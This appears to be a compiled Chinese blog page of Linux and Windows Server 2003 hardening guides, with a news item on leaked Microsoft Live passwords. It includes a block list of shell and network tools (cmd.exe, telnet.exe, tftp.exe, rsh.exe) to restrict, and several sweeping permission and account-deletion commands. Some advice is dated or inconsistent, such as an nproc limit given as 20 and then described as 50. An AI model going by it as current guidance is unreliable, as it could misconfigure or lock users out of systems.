格式是一行一个被允许的名字列表,如你可以编辑/etc/securetty且注释出下面的行。
tty1
#tty2
#tty3
#tty4
#tty5
#tty6
#tty7
#tty8
意味着root仅仅被允许在tty1终端登录。
13. 特别的帐号
禁止所有默认的被操作系统本身启动的且不需要的帐号,当你第一次装上系统时就应该做此检查,Linux提供了各种帐号,你可能不需要,如果你不需要这个帐号,就移走它,你有的帐号越多,就越容易受到攻击。
为删除你系统上的用户,用下面的命令:
[root@deep]# userdel username
为删除你系统上的组用户帐号,用下面的命令:
[root@deep]# groupdel username
在终端上打入下面的命令删掉下面的用户。
[root@deep]# userdel adm
[root@deep]# userdel lp
[root@deep]# userdel sync
[root@deep]# userdel shutdown
[root@deep]# userdel halt
[root@deep]# userdel mail
如果你不用sendmail服务器,procmail.mailx,就删除这个帐号。
[root@deep]# userdel news
[root@deep]# userdel uucp
[root@deep]# userdel operator
[root@deep]# userdel games
如果你不用X windows 服务器,就删掉这个帐号。
[root@deep]# userdel gopher
[root@deep]# userdel ftp
如果你不允许匿名FTP,就删掉这个用户帐号。
打入下面的命令删除组帐号
[root@deep]# groupdel adm
[root@deep]# groupdel lp
[root@deep]# groupdel mail
如不用Sendmail服务器,删除这个组帐号
[root@deep]# groupdel news
[root@deep]# groupdel uucp
[root@deep]# groupdel games
如你不用X Windows,删除这个组帐号
[root@deep]# groupdel dip
[root@deep]# groupdel pppusers
[root@deep]# groupdel popusers
如果你不用POP服务器,删除这个组帐号
[root@deep]# groupdel slipusers
用下面的命令加需要的用户帐号
[root@deep]# useradd username
用下面的命令改变用户口令
[root@deep]# passwd username
用chattr命令给下面的文件加上不可更改属性。
[root@deep]# chattr +i /etc/passwd
[root@deep]# chattr +i /etc/shadow
[root@deep]# chattr +i /etc/group
[root@deep]# chattr +i /etc/gshadow
14. 阻止任何人su作为root.
如果你不想任何人能够su作为root,你能编辑/etc/pam.d/su加下面的行:
auth sufficient /lib/security/pam_rootok.so debug
auth required /lib/security/pam_wheel.so group=isd
意味着仅仅isd组的用户可以su作为root.
然后,如果你希望用户admin能su作为root.就运行下面的命令。
[root@deep]# usermod -G10 admin
16. 资源限制
对你的系统上所有的用户设置资源限制可以防止DoS类型攻击(denial of service attacks)
如最大进程数,内存数量等。例如,对所有用户的限制象下面这样:
编辑/etc/security/limits.con加:
* hard core 0
* hard rss 5000
* hard nproc 20
你也必须编辑/etc/pam.d/login文件加/检查这一行的存在。
session required /lib/security/pam_limits.so
上面的命令禁止core files“core 0”,限制进程数为“nproc 50“,且限制内存使用
为5M“rss 5000”。
17. The /etc/lilo.conf file
a) Add: restricted
加这一行到每一个引导映像下面,就这表明如果你引导时用(linux single),则需要一个password.
b) Add: password=some_password
当与restricted联合用,且正常引导时,需要用户输入密码,你也要确保lilo.conf
文件不能被不属于root的用户可读,也免看到密码明文。下面是例子:
编辑/etc/lilo.conf加:
boot=/dev/sda
map=/boot/map
install=/boot/boot.b
prompt
timeout=50
Default=linux
restricted ?add this line.
password=some_password ?add this line.
image=/boot/vmlinuz-2.2.12-20
label=linux
initrd=/boot/initrd-2.2.12-10.img
root=/dev/sda6
read-only
[root@deep]# chmod 600 /etc/lilo.conf (不再能被其他用户可读).
[root@deep]# /sbin/lilo -v (更新lilo配置).
[root@deep]# chattr +i /etc/lilo.conf(阻止该文件被修改)
18. 禁止 Control-Alt-Delete 重启动机器命令
[root@deep]# vi /etc/inittab
ca::ctrlaltdel:/sbin/shutdown -t3 -r now
To
#ca::ctrlaltdel:/sbin/shutdown -t3 -r now
[root@deep]# /sbin/init q
19. 重新设置/etc/rc.d/init.d/目录下所有文件的许可权限
[root@deep]# chmod -R 700 /etc/rc.d/init.d/*
仅仅root可以读,写,执行上述所有script file.
20. The /etc/rc.d/rc.local file
默认地,当你login到linux server时,它告诉你linux版本名,内核版本名和服务器
主机名。它给了你太多的信息,如果你就希望得到提示login: ,编辑/etc/rc.d/rc.local放#在下面的行前面:
# This will overwrite /etc/issue at every boot. So, make any changes you
# want to make to /etc/issue here or you will lose them when you reboot.
#echo “” >; /etc/issue
#echo “$R” >;>; /etc/issue
#echo “Kernel $(uname -r) on $a $(uname -m)” >;>; /etc/issue
#
#cp -f /etc/issue /etc/issue.net
#echo >;>; /etc/issue
然后,做下面的事情:
[root@deep]# rm -f /etc/issue
[root@deep]# rm -f /etc/issue.net
[root@deep]# touch /etc/issue
[root@deep]# touch /etc/issue.net
21. 被root拥有的程序的位。
移走那些被root拥有程序的s位标志,当然有些程序需要这个,用命令‘chmod a-s’完成这个。
注:前面带(*)号的那些程序一般不需要拥有s位标志。
[root@deep]# find / -type f \( -perm -04000 -o -perm -02000 \) \-exec ls –lg {} \;
-rwsr-xr-x 1 root root 33120 Mar 21 1999 /usr/bin/at
*-rwsr-xr-x 1 root root 30560 Apr 15 20:03 /usr/bin/chage
*-rwsr-xr-x 1 root root 29492 Apr 15 20:03 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 3208 Mar 22 1999 /usr/bin/disable-paste
-rwxr-sr-x 1 root man 32320 Apr 9 1999 /usr/bin/man
-r-s–x–x 1 root root 10704 Apr 14 17:21 /usr/bin/passwd
-rws–x–x 2 root root 517916 Apr 6 1999 /usr/bin/suidperl
-rws–x–x 2 root root 517916 Apr 6 1999 /usr/bin/sperl5.00503
-rwxr-sr-x 1 root mail 11432 Apr 6 1999 /usr/bin/lockfile
-rwsr-sr-x 1 root mail 64468 Apr 6 1999 /usr/bin/procmail
-rwsr-xr-x 1 root root 21848 Aug 27 11:06 /usr/bin/crontab
-rwxr-sr-x 1 root slocate 15032 Apr 19 14:55 /usr/bin/slocate
*-r-xr-sr-x 1 root tty 6212 Apr 17 11:29 /usr/bin/wall
*-rws–x–x 1 root root 14088 Apr 17 12:57 /usr/bin/chfn
*-rws–x–x 1 root root 13800 Apr 17 12:57 /usr/bin/chsh
*-rws–x–x 1 root root 5576 Apr 17 12:57 /usr/bin/newgrp
*-rwxr-sr-x 1 root tty 8392 Apr 17 12:57 /usr/bin/write
-rwsr-x— 1 root squid 14076 Oct 7 14:48 /usr/lib/squid/pinger
-rwxr-sr-x 1 root utmp 15587 Jun 9 09:30 /usr/sbin/utempter
*-rwsr-xr-x 1 root root 5736 Apr 19 15:39 /usr/sbin/usernetctl
*-rwsr-xr-x 1 root bin 16488 Jul 6 09:35 /usr/sbin/traceroute
-rwsr-sr-x 1 root root 299364 Apr 19 16:38 /usr/sbin/sendmail
-rwsr-xr-x 1 root root 34131 Apr 16 18:49 /usr/libexec/pt_chown
-rwsr-xr-x 1 root root 13208 Apr 13 14:58 /bin/su
*-rwsr-xr-x 1 root root 52788 Apr 17 15:16 /bin/mount
*-rwsr-xr-x 1 root root 26508 Apr 17 20:26 /bin/umount
*-rwsr-xr-x 1 root root 17652 Jul 6 09:33 /bin/ping
-rwsr-xr-x 1 root root 20164 Apr 17 12:57 /bin/login
*-rwxr-sr-x 1 root root 3860 Apr 19 15:39 /sbin/netreport
-r-sr-xr-x 1 root root 46472 Apr 17 16:26 /sbin/pwdb_chkpwd
[root@deep]# chmod a-s /usr/bin/chage
[root@deep]# chmod a-s /usr/bin/gpasswd
[root@deep]# chmod a-s /usr/bin/wall
[root@deep]# chmod a-s /usr/bin/chfn
[root@deep]# chmod a-s /usr/bin/chsh
[root@deep]# chmod a-s /usr/bin/newgrp
[root@deep]# chmod a-s /usr/bin/write
[root@deep]# chmod a-s /usr/sbin/usernetctl
[root@deep]# chmod a-s /usr/sbin/traceroute
[root@deep]# chmod a-s /bin/mount
[root@deep]# chmod a-s /bin/umount
[root@deep]# chmod a-s /bin/ping
[root@deep]# chmod a-s /sbin/netreport
你可以用下面的命令查找所有带s位标志的程序:
[root@deep]# find / -type f \( -perm -04000 -o -perm -02000 \) \-exec ls -lg {} \;
>; suid-sgid-results
把结果输出到文件suid-sgid-results中。
为了查找所有可写的文件和目录,用下面的命令:
[root@deep]# find / -type f \( -perm -2 -o -perm -20 \) -exec ls -lg {} \; >; ww-files-results
[root@deep]# find / -type d \( -perm -2 -o -perm -20 \) -exec ls -ldg {} \; >; ww-directories-results
用下面的命令查找没有拥有者的文件:
[root@deep]# find / -nouser -o -nogroup >; unowed-results
用下面的命令查找所有的.rhosts文件:
[root@deep]# find /home -name .rhosts >; rhost-results
建议替换的常见网络服务应用程序
WuFTPD
WuFTD从1994年就开始就不断地出现安全漏洞,黑客很容易就可以获得远程root访问(Remote Root Access)的权限,而且很多安全漏洞甚至不需要在FTP服务器上有一个有效的帐号。最近,WuFTP也是频频出现安全漏洞。
它的最好的替代程序是ProFTPD。ProFTPD很容易配置,在多数情况下速度也比较快,而且它的源代码也比较干净(缓冲溢出的错误比较少)。有许多重要的站点使用ProFTPD。sourceforge.net就是一个很好的例子(这个站点共有3,000个开放源代码的项目,其负荷并不小啊!)。一些Linux的发行商在它们的主FTP站点上使用的也是ProFTPD,只有两个主要Linux的发行商(SuSE和Caldera)使用 WuFTPD。
ProFTPD的另一个优点就是既可以从inetd运行又可以作为单独的daemon运行。这样就可以很容易解决inetd带来的一些问题,如:拒绝服务的攻击(denial of service attack),等等。系统越简单,就越容易保证系统的安全。WuFTPD要么重新审核一遍全部的源代码(非常困难),要么完全重写一遍代码,否则 WuFTPD必然要被ProFTPD代替。
Telnet
Telnet是非常非常不安全的,它用明文来传送密码。它的安全的替代程序是OpenSSH。
OpenSSH在Linux上已经非常成熟和稳定了,而且在Windows平台上也有很多免费的客户端软件。Linux的发行商应该采用 OpenBSD的策略:安装OpenSSH并把它设置为默认的,安装Telnet但是不把它设置成默认的。对于不在美国的Linux发行商,很容易就可以在Linux的发行版中加上OpenSSH。美国的Linux发行商就要想一些别的办法了(例如:Red Hat在德国的FTP服务器上(ftp.redhat.de)就有最新的OpenSSH的rpm软件包)。
Telnet是无可救药的程序。要保证系统的安全必须用OpenSSH这样的软件来替代它。
Sendmail
最近这些年,Sendmail的安全性已经提高很多了(以前它通常是黑客重点攻击的程序)。然而,Sendmail还是有一个很严重的问题。一旦出现了安全漏洞(例如:最近出现的Linux内核错误),Sendmail就是被黑客重点攻击的程序,因为Sendmail是以root权限运行而且代码很庞大容易出问题。
几乎所有的Linux发行商都把Sendmail作为默认的配置,只有少数几个把Postfix或Qmail作为可选的软件包。但是,很少有Linux的发行商在自己的邮件服务器上使用Sendmail。SuSE和Red Hat都使用基于Qmail的系统。
Sendmail并不一定会被别的程序完全替代。但是它的两个替代程序Qmail和Postfix都比它安全、速度快,而且特别是Postfix比它容易配置和维护。
su
su是用来改变当前用户的ID,转换成别的用户。你可以以普通用户登录,当需要以root身份做一些事的时候,只要执行“su”命令,然后输入 root的密码。su本身是没有问题的,但是它会让人养成不好的习惯。如果一个系统有多个管理员,必须都给他们root的口令。
su的一个替代程序是sudo。Red Hat 6.2中包含这个软件。sudo允许你设置哪个用户哪个组可以以root身份执行哪些程序。你还可以根据用户登录的位置对他们加以限制(如果有人“破”了一个用户的口令,并用这个帐号从远程计算机登录,你可以限制他使用sudo)。Debian也有一个类似的程序叫super,与sudo比较各有优缺点。
让用户养成良好的习惯。使用root帐号并让多个人知道root的密码并不是一个好的习惯。这就是www.apache.org被入侵的原因,因为它有多个系统管理员他们都有root的特权。一个乱成一团的系统是很容易被入侵的。
named
大部分Linux的发行商都解决了这个问题。named以前是以root运行的,因此当named出现新的漏洞的时候,很容易就可以入侵一些很重要的计算机并获得root权限。现在只要用命令行的一些参数就能让named以非root的用户运行。而且,现在绝大多数Linux的发行商都让 named以普通用户的权限运行。命令格式通常为:named -u ; -g ;
INN
在INN的文档中已经明确地指出:“禁止这项功能(verifycancels),这项功能是没有用的而且将被除掉”。大约在一个月前,一个黑客发布了当 “verifycancels”生效的时候入侵INN的方法。Red Hat是把“verifycancels”设为有效的。任何setuid/setgid的程序或网络服务程序都要正确地安装并且进行检查以保证尽量没有安全漏洞。
安全守则
1. 废除系统所有默认的帐号和密码。
2. 在用户合法性得到验证前不要显示公司题头、在线帮助以及其它信息。
3. 废除“黑客”可以攻击系统的网络服务。
4. 使用6到8位的字母数字式密码。
5. 限制用户尝试登录到系统的次数。
6. 记录违反安全性的情况并对安全记录进行复查。
7. 对于重要信息,上网传输前要先进行加密。
8. 重视专家提出的建议,安装他们推荐的系统“补丁”。
9. 限制不需密码即可访问的主机文件。
10.修改网络配置文件,以便将来自外部的TCP连接限制到最少数量的端口。不允许诸如tftp,sunrpc,printer,rlogin或rexec之类的协议。
11.用upas代替sendmail。sendmail有太多已知漏洞,很难修补完全。
12.去掉对操作并非至关重要又极少使用的程序。
13.使用chmod将所有系统目录变更为711模式。这样,攻击者们将无法看到它们当中有什么东西,而用户仍可执行。
14.只要可能,就将磁盘安装为只读模式。其实,仅有少数目录需读写状态。
15.将系统软件升级为最新版本。老版本可能已被研究并被成功攻击,最新版本一般包括了这些问题的补救。

微软证实Live帐户和密码遭泄露

先不看标题,先来扫盲–网络安全是什么?
网络安全是一门涉及计算机科学、网络技术、通信技术、密码技术、信息安全技术、应用数学、数论、信息论等多种学科的综合性学科。
网络安全是指网络系统的硬件、软件及其系统中的数据受到保护,不受偶然的或者恶意的原因而遭到破坏、更改、泄露,系统连续可靠正常地运行,网络服务不中断。
网络安全从其本质上来讲就是网络上的信息安全。从广义来说,凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全的研究领域。
以下面有关本次微软Live帐户和密码遭泄露的报道
microsoft_logo北京时间10月6日消息,据国外媒体报道,微软周一证实,数千个微软Live帐户和密码被发布在了pastebin.com网站上。
微软表示,微软Live帐户和密码被泄露并非是微软内部数据破坏和泄漏,目前尚不知道这些神秘的发帖者有没有更多的账户信息,但泄露最有可能的原因是恶徒们利用击键记录木马程序或网络钓鱼诈骗得到的账户密码,并出来炫耀。Windows爱好者网站 Neowin.net指出,被泄露的微软Live帐户和密码主要来自欧洲,包括了hotmail.com、msn.com和live.com账户。
微软发言人表示,“在上周周末,微软获悉数千个Windows Live Hotmail客户信息被泄露在了第三方网站上。在获悉这一情况后,我们立即对要求删除了这些数据,并对此展开调查。调查结果显示,此次事件并非是微软内部数据破坏和泄漏,我们将帮助用户重新控制他们的账户。”
微软建议用户立即对杀毒软件进行升级,并每隔90天对LIVE ID密码进行更新。
仅是数千而已,不足为奇,但还是提醒大家多多注意安全从自身做起

Windows Server 2003 系统配置方案

windows2003_logo一、系统的安装
1、按照Windows2003安装光盘的提示安装,默认情况下2003没有把IIS6.0安装在系统里面。
2、IIS6.0的安装
开始菜单—>控制面板—>添加或删除程序—>添加/删除Windows组件
应用程序 ———ASP.NET(可选)
|——启用网络 COM+ 访问(必选)
|——Internet 信息服务(IIS)———Internet 信息服务管理器(必选)
|——公用文件(必选)
|——万维网服务———Active Server pages(必选)
|——Internet 数据连接器(可选)
|——WebDAV 发布(可选)
|——万维网服务(必选)
|——在服务器端的包含文件(可选)
然后点击确定—>下一步安装。
3、系统补丁的更新
点击开始菜单—>所有程序—>Windows Update
按照提示进行补丁的安装。
4、备份系统
用GHOST备份系统。
5、安装常用的软件
例如:杀毒软件、解压缩软件等;安装之后用GHOST再次备份系统。
二、系统权限的设置
1、磁盘权限
系统盘及所有磁盘只给 Administrators 组和 SYSTEM 的完全控制权限
系统盘\Documents and Settings 目录只给 Administrators 组和 SYSTEM 的完全控制权限
系统盘\Documents and Settings\All Users 目录只给 Administrators 组和 SYSTEM 的完全控制权限
系统盘\Inetpub 目录及下面所有目录、文件只给 Administrators 组和 SYSTEM 的完全控制权限
系统盘\Windows\System32\cacls.exe、cmd.exe、net.exe、net1.exe 文件只给 Administrators 组和 SYSTEM 的完全控制权限
2、本地安全策略设置
开始菜单—>管理工具—>本地安全策略
A、本地策略——>审核策略
审核策略更改   成功 失败
审核登录事件   成功 失败
审核对象访问      失败
审核过程跟踪   无审核
审核目录服务访问    失败
审核特权使用      失败
审核系统事件   成功 失败
审核账户登录事件 成功 失败
审核账户管理   成功 失败
B、 本地策略——>用户权限分配
关闭系统:只有Administrators组、其它全部删除。
通过终端服务拒绝登陆:加入Guests、User组
通过终端服务允许登陆:只加入Administrators组,其他全部删除
C、本地策略——>安全选项
交互式登陆:不显示上次的用户名       启用
网络访问:不允许SAM帐户和共享的匿名枚举   启用
网络访问:不允许为网络身份验证储存凭证   启用
网络访问:可匿名访问的共享         全部删除
网络访问:可匿名访问的命          全部删除
网络访问:可远程访问的注册表路径      全部删除
网络访问:可远程访问的注册表路径和子路径  全部删除
帐户:重命名来宾帐户            重命名一个帐户
帐户:重命名系统管理员帐户         重命名一个帐户
3、禁用不必要的服务
开始菜单—>管理工具—>服务
Print Spooler
Remote Registry
TCP/IP NetBIOS Helper
Server
以上是在Windows Server 2003 系统上面默认启动的服务中禁用的,默认禁用的服务如没特别需要的话不要启动。
4、启用防火墙
桌面—>网上邻居—>(右键)属性—>本地连接—>(右键)属性—>高级—>(选中)Internet 连接防火墙—>设置
把服务器上面要用到的服务端口选中
例如:一台WEB服务器,要提供WEB(80)、FTP(21)服务及远程桌面管理(3389)
在“FTP 服务器”、“WEB服务器(HTTP)”、“远程桌面”前面打上对号
如果你要提供服务的端口不在里面,你也可以点击“添加”铵钮来添加,具体参数可以参照系统里面原有的参数。
然后点击确定。注意:如果是远程管理这台服务器,请先确定远程管理的端口是否选中或添加。
ASP虚拟主机安全检测探针V1.5
走出Windows权限迷魂阵
在电脑应用中经常会看到”权限”这个词,特别是Windows 2000/XP被越来越多的朋友装进电脑后,常常会有读者问,什么是权限呢?它到底有什么用?下面我们将用几个典型实例为大家讲解windows中的权限应用,让你不仅可以在不安装任何软件的情况下,限制别人访问你的文件夹、指定用户不能使用的程序,而且还有来自微软内部的加强系统安全的绝招。
——————————————————————————–
初识Windows的权限
首先,要完全使用windows权限的所有功能,请确保在应用权限的分区为NTFS文件系统。本文将以windowsXP简体中文专业版+SP2作为范例讲解。
1.什么是权限?
举个形象的例子,windows就像一个实验室,其中有导师A、导师B;学生A、学生B.大家都能在实验室里面完成实验。但在这里又是分等级的.两位导师可以指定学生能使用什么样的实验工具,不能碰什么工具,从而使得实验室不会因为学生乱用实验工具.而出现问题。同时.两位导师又能互相限制对方对实验工具的使用。因此.windows中的权限就是对某个用户或同等级的用户进行权力分配和限制的方法。正是有了它的出现,windows中的用户要遵循这种”不平等”的制度,而正是这个制度,才使得windows可以更好地为多个用户的使用创造了良好,稳定的运行环境。
2.权限都包含有什么?
在以NT内核为基础的Windows 2000/XP中,权限主要分为七大类完全控制、修改,读取和运行、列出文件夹目录、读取、写入、特别的权限(见图1)。
其中完全控制包含了其他六大权限.只要拥有它,就等同于拥有了另外六大权限,其余复选框会被自动选中.属于”最高等级”的权限。
而其他权限的等级高低分别是:特别的权限>读取和运行>修改>写入>读取。
默认情况下,Windows XP将启用”简单文件共享”,这意味着安全性选项卡和针对权限的高级选项都不可用.也就不能进行本文所述的那些权限应用操作了。请现在就右击任意文件或文件夹.选择”属性”,如果没有看到”安全”选项卡,你可以通过如下方法打开它。
打开”我的电脑”,点击”工具→文件夹选项→查看”,接着在然后单击取消”使用简单文件共享(推荐)”复选框即可。
实战权限”正面”应用
以下应用的前提,是被限制的用户不在Administrators组,否则将可能发生越权访问,后面”反面应用”会讲到。执行权限设置的用户至少需要为Power Users组的成员,才有足够权限进行设置。
实例1:我的文档你别看-保护你的文件或文件夹
假设A电脑中有三个用户,用户名分别为User1、User2、User3。Userl不想让User2和User3查看和操作自己的”test”文件夹。
第一步:右击”test”文件夹并选择”属性”,进入”安全”选项卡,你将会看到”组或用户名称”栏里有Administrators(A\Administrators)、CREATOR OWNER、SYSTEM Users(A\Users)、User1(A\ User1)。他们分别表示名为A电脑的管理员组,创建、所有者组,系统组,用户组以及用户User1对此文件夹的权限设置。当然,不同的电脑设置和软件安装情况,此栏里的用户或用户组信息不一定就是和我描述的一样.但正常情况下最少将包含3项之一:Administrators、SYSTEM、Users或Everyone(见图2)。
第二步:依次选中并删除Administrators、CREATOR OWNER、SYSTEM、Users,仅保留自己使用的Userl账户。在操作中可能会遇到如图3的提示框。
其实只要单击”高级”按钮,在”权限”选项卡中,取消”从父项继承那些可以应用到子对象的权限项目,包括那些在此明确定义的项目”的复选框,在弹出对话框中单击”删除”即可。该操作使此文件夹清除了从上一级目录继承来的权限设置,仪保留了你使用的User1账户。
就这么轻松,你就实现了其他用户,甚至系统权限都无法访问”test”文件夹的目的。
★需要注意的是,如果这个文件夹中需要安装软件,那么就不要删除”SYSTEM”,不然可能引起系统访问出错
★Administrator并不是最高指挥官:你可能会问,为什么这里会有一个”SYSTEM”账户呢?同时许多朋友认为windows2000/XP中的Administrator是拥有权限最高的用户,其实不然,这个”SYSTEM”才具有系统最高权限,因为它是”作为操作系统的一部分工作”,任何用户通过某种方法获取了此权限,就能凌驾一切。
——————————————————————————–
实例2:上班时间别聊天-禁止用户使用某程序
第一步:找到聊天程序的主程序,如QQ,其主程序就是安装目录下的QQ.exe,打开它的属性对话框,进入”安全”选项卡,选中或添加你要限制的用户,如User3。
第二步:接着选择”完全控制”为”拒绝”,”读取和运行”也为”拒绝”。
第三步:单击”高级”按钮进入高级权限没置,选中User3,点”编辑”按钮,进入权限项目。在这里的”拒绝”栏中选中”更改权限”和”取得所有权”的复选框。
也可以使用组策略编辑器来实现此功能,但安全性没有上面方法高。点击”开始→运行”,输入”gpedit.msc”,回车后打开组策略编辑器,进入”计算机设置→windows设置→安全设置→软件限制策略→其他规则”,右击,选择”所有任务→新路径规则”,接着根据提示设置想要限制的软件的主程序路径,然后设定想要的安全级别,是”不允许的”还是”受限制的”。
——————————————————————————–
实例3:来者是客--微软内部增强系统安全的秘技
本实战内容将需要管理员权限。所谓入侵,无非就是利用某种方法获取到管理员级别的权限或系统级的权限,以便进行下一步操作,如添加自己的用户。如果想要使入侵者”进来”之后不能进行任何操作呢?永远只能是客人权限或比这个权限更低,就算本地登录,连关机都不可以。那么,他将不能实施任何破坏活动。
注意:此法有较高的危险性.建议完全不知道以下程序用途的读者不要尝试.以免误操作引起系统不能进入或出现很多错误。
第一步:确定要设置的程序
搜索系统目录下的危险程序,它们可以用来创建用户夺取及提升低权限用户的权限,格式化硬盘,引起电脑崩溃等恶意操作:cmd.exe、regedit.exe、regsvr32.exe、regedt32.exe、gpedit.msc、format.com、compmgmt.msc、mmc.exe、telnet.exe、tftp.exe、ftp.exe、XCOPY.EXE、at.exe、cacls.exe、edlin.exe、rsh.exe、finger.exe、runas.exe、net.exe、tracert.exe、netsh.exe、tskill.exe、poledit.exe、regini.exe、cscript.exe、netstat.exe、issync.exe、runonce.exe、debug.exe、rexec.exe、wscript.exe、command.com、comsdupd.exe
第二步:按系统调用的可能性分组设置
按照下面分组.设置这些程序权限。完成一组后,建议重启电脑确认系统运行是否一切正常,查看”事件查看器”,是否有错误信息(“控制面板→管理工具→事件查看器”)。
(1)cmd.exe、net.exe gpedit.msc telnet.exe command.com
(仅保留你自己的用户,SYSTEM也删除)
(2)mmc.exe、tftp.exe、ftp.exe、XCOPY.EXE、comsdupd.exe
(仅保留你自己的用户,SYSTEM也删除)
(3)regedit.exe、regedt32.exe、format.com、compmgmt.msc、at.exe、cacls.exe、edlin.exe、rsh.exe、finger.exe、runas.exe、debug.exe、wscript.exe、cscript.exe、rexec.exe
(保留你自己的用户和SYSTEM)
(4)tracert.exe、netsh.exe、tskill.exe、poledit.exe、regini.exe、netstat.exe、issync.exe、runonce.exe、regsvr32.exe
(保留你自己的用户和SYSTEM)
第三步:用户名欺骗
这个方法骗不了经验丰富的入侵者,但却可以让不够高明的伪黑客们弄个一头雾水。
打开”控制面板一管理工具一计算机管理”,找到”用户”,将默认的Administrator和Guest的名称互换,包括描述信息也换掉。完成后,双击假的”Administrator”用户,也就是以前的Guest用户.在其”属性”窗口中把隶属于列表里的Guests组删除.这样.这个假的”管理员”账号就成了”无党派人士”,不属于任何组,也就不会继承其权限。此用户的权限几乎等于0,连关机都不可以,对电脑的操作几乎都会被拒绝。如果有谁处心积虑地获取了这个用户的权限,那么他肯定吐血。
第四步:集权控制,提高安全性
打开了组策略编辑器,找到”计算机设置→windows设置→安全设置→本地策略→用户权利指派”(见图4),接着根据下面的提示进行设置。
(1)减少可访问此计算机的用户数,减少被攻击机会
找到并双击”从网络访问此计算机”,删除账户列表中用户组,只剩下”Administrators”;
找到并双击”拒绝本地登录”,删除列表中的”Guest”用户,添加用户组”Guests”。
(2)确定不想要从网络访问的用户,加入到此”黑名单”内
找到并双击”拒绝从刚络访问这台计算机”,删除账户列表中的”Guest”用户,添加用户组”Guests”;
找到并双击”取得文件或其他对象的所有权”,添加你常用的账户和以上修改过名称为”Guest”的管理员账户,再删除列表中”Administrators”。
(3)防止跨文件夹操作
找到并双击”跳过遍历检查”,添加你所使用的账户和以上修改过名称为”Guest”的管理员账户,再删除账户列表中的”Administrators”、”Everyone”和”Users”用户组。
(4)防止通过终端服务进行的密码猜解尝试
找到并双击”通过终端服务拒绝登录”,添加假的管理员账户”Administrator”;找到”通过终端服务允许登录”,双击,添加你常用的账户和以上修改过名称为”Guest”的管理员账户,再删除账户列表中的”Administrators”,”Remote Desktop User”和”HelpAssistant”(如果你不用远程协助功能的话才可删除此用户)。
(5)避免拒绝服务攻击
找到并双击”调整进程的内存配额”,添加你常用的账户,再删除账户列表中的”Administrators”
——————————————————————————–
实例4:”你的文档”别独享——突破文件夹”私有”的限制
windows XP安装完成并进入系统时,会询问是否将”我的文档”设为私有(专用),如果选择了”是”,那将使该用户下的”我的文档”文件夹不能被其他用户访问,删除,修改。其实这就是利用权限设置将此文件夹的访问控制列表中的用户和用户组删除到了只剩下系统和你的用户,所有者也设置成了那个用户所有,Administrators组的用户也不能直接访问。如果你把这个文件夹曾经设置为专用,但又在该盘重装了系统,此文件夹不能被删除或修改。可按照下面步骤解决这些问题,让你对这个文件夹的访问,畅通无阻。
第一步:登录管理员权限的账户,如系统默认的Administrator,找到被设为专用的”我的文档”,进入其”属性”的”安全”选项卡,你将会看到你的用户不在里面,但也无法添加和删除。
第二步:单击”高级”按钮,进入高级权限设置,选择”所有者”选项卡,在”将所有者更改为”下面的列表中选中你现在使用的用户,如”Userl(A\Userl)”,然后再选中”替换子容器及对象的所有者”的复选框,然后单击”应用”,等待操作完成。
第三步:再进入这个文件夹看看,是不是不会有任何权限的提示了?可以自由访问了?查看里面的文件,复制、删除试试看.是不是一切都和”自己的”一样了?嘿嘿。如果你想要删除整个文件夹,也不会有什么阻止你了。
SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp 改3389 的
Windows2003基本的web服务器安全设置
栏目: | 作者:青鳥南飛 | 点击:164 | 回复:0 | 2006-6-26 14:40:39
基本的服务器安全设置
1、安装补丁
安装好操作系统之后,最好能在托管之前就完成补丁的安装,配置好网络后,如果是2000则确定安装上了SP4,如果是2003,则最好安装上SP1,然后点击开始→Windows Update,安装所有的关键更新。
2、安装杀毒软件
至于杀毒软件目前我使用有两款,一款是瑞星,一款是诺顿,瑞星杀木马的效果比诺顿要强,我测试过病毒包,瑞星要多杀出很多,但是装瑞星的话会有一个问题就是会出现ASP动态不能访问,这时候需要重新修复一下,具体操作步骤是:
关闭杀毒软件的所有的实时监控,脚本监控。
╭═══════════════╮╭═══════════════╮
在Dos命令行状态下分别输入下列命令并按回车(Enter)键:
regsvr32 jscript.dll (命令功能:修复Java动态链接库)
regsvr32 vbscript.dll (命令功能:修复VB动态链接库)
╰═══════════════╯╰═══════════════╯
不要指望杀毒软件杀掉所有的木马,因为ASP木马的特征是可以通过一定手段来避开杀毒软件的查杀。
3、设置端口保护和防火
2003的端口屏蔽可以通过自身防火墙来解决,这样比较好,比筛选更有灵活性,桌面—>网上邻居—>(右键)属性—>本地连接—>(右键)属性—>高级—>(选中)Internet 连接防火墙—>设置
把服务器上面要用到的服务端口选中
例如:一台WEB服务器,要提供WEB(80)、FTP(21)服务及远程桌面管理(3389)
在“FTP 服务器”、“WEB服务器(HTTP)”、“远程桌面”前面打上对号
如果你要提供服务的端口不在里面,你也可以点击“添加”铵钮来添加,具体参数可以参照系统里面原有的参数。
然后点击确定。注意:如果是远程管理这台服务器,请先确定远程管理的端口是否选中或添加。
权限设置
权限设置的原理
?WINDOWS用户,在WINNT系统中大多数时候把权限按用户(組)来划分。在【开始→程序→管理工具→计算机管理→本地用户和组】管理系统用户和用户组。
?NTFS权限设置,请记住分区的时候把所有的硬盘都分为NTFS分区,然后我们可以确定每个分区对每个用户开放的权限。【文件(夹)上右键→属性→安全】在这里管理NTFS文件(夹)权限。
?IIS匿名用户,每个IIS站点或者虚拟目录,都可以设置一个匿名访问用户(现在暂且把它叫“IIS匿名用户”),当用户访问你的网站的.ASP文件的时候,这个.ASP文件所具有的权限,就是这个“IIS匿名用户”所具有的权限。
权限设置
磁盘权限
系统盘及所有磁盘只给 Administrators 组和 SYSTEM 的完全控制权限
系统盘\Documents and Settings 目录只给 Administrators 组和 SYSTEM 的完全控制权限
系统盘\Documents and Settings\All Users 目录只给 Administrators 组和 SYSTEM 的完全控制权限
系统盘\Inetpub 目录及下面所有目录、文件只给 Administrators 组和 SYSTEM 的完全控制权限
系统盘\Windows\System32\cacls.exe、cmd.exe、net.exe、net1.exe 文件只给 Administrators 组和 SYSTEM 的完全控制权限
4、禁用不必要的服务
开始菜单—>管理工具—>服务
Print Spooler
Remote Registry
TCP/IP NetBIOS Helper
Server
以上是在Windows Server 2003 系统上面默认启动的服务中禁用的,默认禁用的服务如没特别需要的话不要启动。
改名或卸载不安全组件
不安全组件不惊人
在阿江探针1.9里加入了不安全组件检测功能(其实这是参考7i24的代码写的,只是把界面改的友好了一点,检测方法和他是基本一样的),这个功能让很多站长吃惊不小,因为他发现他的服务器支持很多不安全组件。
